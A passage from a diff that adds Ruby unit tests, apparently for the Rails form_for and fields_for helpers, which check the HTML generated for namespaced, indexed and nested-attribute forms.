+      "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" +
+      "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='other_name[secret]' value='0' type='hidden' />" +
+      "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" +
+      "<input name='commit' value='Create post' type='submit' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_method_as_part_of_html_options
+    form_for(@post, url: '/', html: { id: 'create-post', method: :delete }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =  whole_form("/", "create-post", "edit_post", method: "delete") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_method
+    form_for(@post, url: '/', method: :delete, html: { id: 'create-post' }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =  whole_form("/", "create-post", "edit_post", method: "delete") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_search_field
+    # Test case for bug which would emit an "object" attribute
+    # when used with form_for using a search_field form helper
+    form_for(Post.new, url: "/search", html: { id: "search-post", method: :get }) do |f|
+      concat f.search_field(:title)
+    end
+
+    expected =  whole_form("/search", "search-post", "new_post", method: "get") do
+      "<input name='post[title]' type='search' id='post_title' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_remote
+    form_for(@post, url: '/', remote: true, html: { id: 'create-post', method: :patch }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =  whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_remote_in_html
+    form_for(@post, url: '/', html: { remote: true, id: 'create-post', method: :patch }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =  whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_remote_without_html
+    @post.persisted = false
+    @post.stubs(:to_key).returns(nil)
+    form_for(@post, remote: true) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =  whole_form("/posts", "new_post", "new_post", remote: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_without_object
+    form_for(:post, html: { id: 'create-post' }) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/", "create-post") do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_index
+    form_for(@post, as: "post[]") do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+      "<label for='post_123_title'>Title</label>" +
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[123][secret]' type='hidden' value='0' />" +
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_nil_index_option_override
+    form_for(@post, as: "post[]", index: nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[][secret]' type='hidden' value='0' />" +
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping
+    form_for(@post) do |f|
+      concat f.label(:author_name, class: 'label')
+      concat f.text_field(:author_name)
+      concat f.submit('Create post')
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+      "<input name='commit' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping_without_conventional_instance_variable
+    post = remove_instance_variable :@post
+
+    form_for(post) do |f|
+      concat f.label(:author_name, class: 'label')
+      concat f.text_field(:author_name)
+      concat f.submit('Create post')
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+      "<input name='commit' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_label_error_wrapping_block_and_non_block_versions
+    form_for(@post) do |f|
+      concat f.label(:author_name, 'Name', class: 'label')
+      concat f.label(:author_name, class: 'label') { 'Name' }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" +
+      "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace
+    form_for(@post, namespace: 'namespace') do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace_with_date_select
+    form_for(@post, namespace: 'namespace') do |f|
+      concat f.date_select(:written_on)
+    end
+
+    assert_select 'select#namespace_post_written_on_1i'
+  end
+
+  def test_form_for_with_namespace_with_label
+    form_for(@post, namespace: 'namespace') do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+      "<label for='namespace_post_title'>Title</label>" +
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_namespace_and_as_option
+    form_for(@post, namespace: 'namespace', as: 'custom_name') do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_custom_name', 'edit_custom_name', method: 'patch') do
+      "<input id='namespace_custom_name_title' name='custom_name[title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_two_form_for_with_namespace
+    form_for(@post, namespace: 'namespace_1') do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', method: 'patch') do
+      "<label for='namespace_1_post_title'>Title</label>" +
+      "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected_1, output_buffer
+
+    form_for(@post, namespace: 'namespace_2') do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', method: 'patch') do
+      "<label for='namespace_2_post_title'>Title</label>" +
+      "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected_2, output_buffer
+  end
+
+  def test_fields_for_with_namespace
+    @comment.body = 'Hello World'
+    form_for(@post, namespace: 'namespace') do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.fields_for(@comment) { |c|
+        concat c.text_field(:body)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_submit_with_object_as_new_record_and_locale_strings
+    old_locale, I18n.locale = I18n.locale, :submit
+
+    @post.persisted = false
+    @post.stubs(:to_key).returns(nil)
+    form_for(@post) do |f|
+      concat f.submit
+    end
+
+    expected = whole_form('/posts', 'new_post', 'new_post') do
+      "<input name='commit' type='submit' value='Create Post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_submit_with_object_as_existing_record_and_locale_strings
+    old_locale, I18n.locale = I18n.locale, :submit
+
+    form_for(@post) do |f|
+      concat f.submit
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='commit' type='submit' value='Confirm Post changes' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_submit_without_object_and_locale_strings
+    old_locale, I18n.locale = I18n.locale, :submit
+
+    form_for(:post) do |f|
+      concat f.submit class: "extra"
+    end
+
+    expected = whole_form do
+      "<input name='commit' class='extra' type='submit' value='Save changes' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_submit_with_object_and_nested_lookup
+    old_locale, I18n.locale = I18n.locale, :submit
+
+    form_for(@post, as: :another_post) do |f|
+      concat f.submit
+    end
+
+    expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
+      "<input name='commit' type='submit' value='Update your Post' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_nested_fields_for
+    @comment.body = 'Hello World'
+    form_for(@post) do |f|
+      concat f.fields_for(@comment) { |c|
+        concat c.text_field(:body)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_nested_collections
+    form_for(@post, as: 'post[]') do |f|
+      concat f.text_field(:title)
+      concat f.fields_for('comment[]', @comment) { |c|
+        concat c.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+      "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_and_parent_fields
+    form_for(@post, index: 1) do |c|
+      concat c.text_field(:title)
+      concat c.fields_for('comment', @comment, index: 1) { |r|
+        concat r.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" +
+      "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_index_and_nested_fields_for
+    output_buffer = form_for(@post, index: 1) do |f|
+      concat f.fields_for(:comment, @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_on_both
+    form_for(@post, index: 1) do |f|
+      concat f.fields_for(:comment, @post, index: 5) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_auto_index
+    form_for(@post, as: "post[]") do |f|
+      concat f.fields_for(:comment, @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+      "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_radio_button
+    form_for(@post) do |f|
+      concat f.fields_for(:comment, @post, index: 5) { |c|
+        concat c.radio_button(:title, "hello")
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_auto_index_on_both
+    form_for(@post, as: "post[]") do |f|
+      concat f.fields_for("comment[]", @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+      "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_index_and_auto_index
+    output_buffer = form_for(@post, as: "post[]") do |f|
+      concat f.fields_for(:comment, @post, index: 5) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    output_buffer << form_for(@post, as: :post, index: 1) do |f|
+      concat f.fields_for("comment[]", @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+      "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
+    end + whole_form('/posts/123', 'edit_post', 'edit_post', method: 'patch') do
+      "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+        '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+    form_for(@post) do |f|
+      f.fields_for(:author, Author.new(123)) do |af|
+        assert_not_nil af.object
+        assert_equal 123, af.object.id
+      end
+    end
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+   expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+     '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+     '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+     '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+   end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author, include_id: false) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author, include_id: true) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.hidden_field(:id)
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment, include_id: false) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_for(@post, include_id: false) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:author, include_id: true) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.hidden_field(:id)
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new, Comment.new]
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields_for(:comments, comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_an_empty_supplied_attributes_collection
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      f.fields_for(:comments, []) do |cf|
+        concat cf.text_field(:name)
+      end
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments, @post.comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
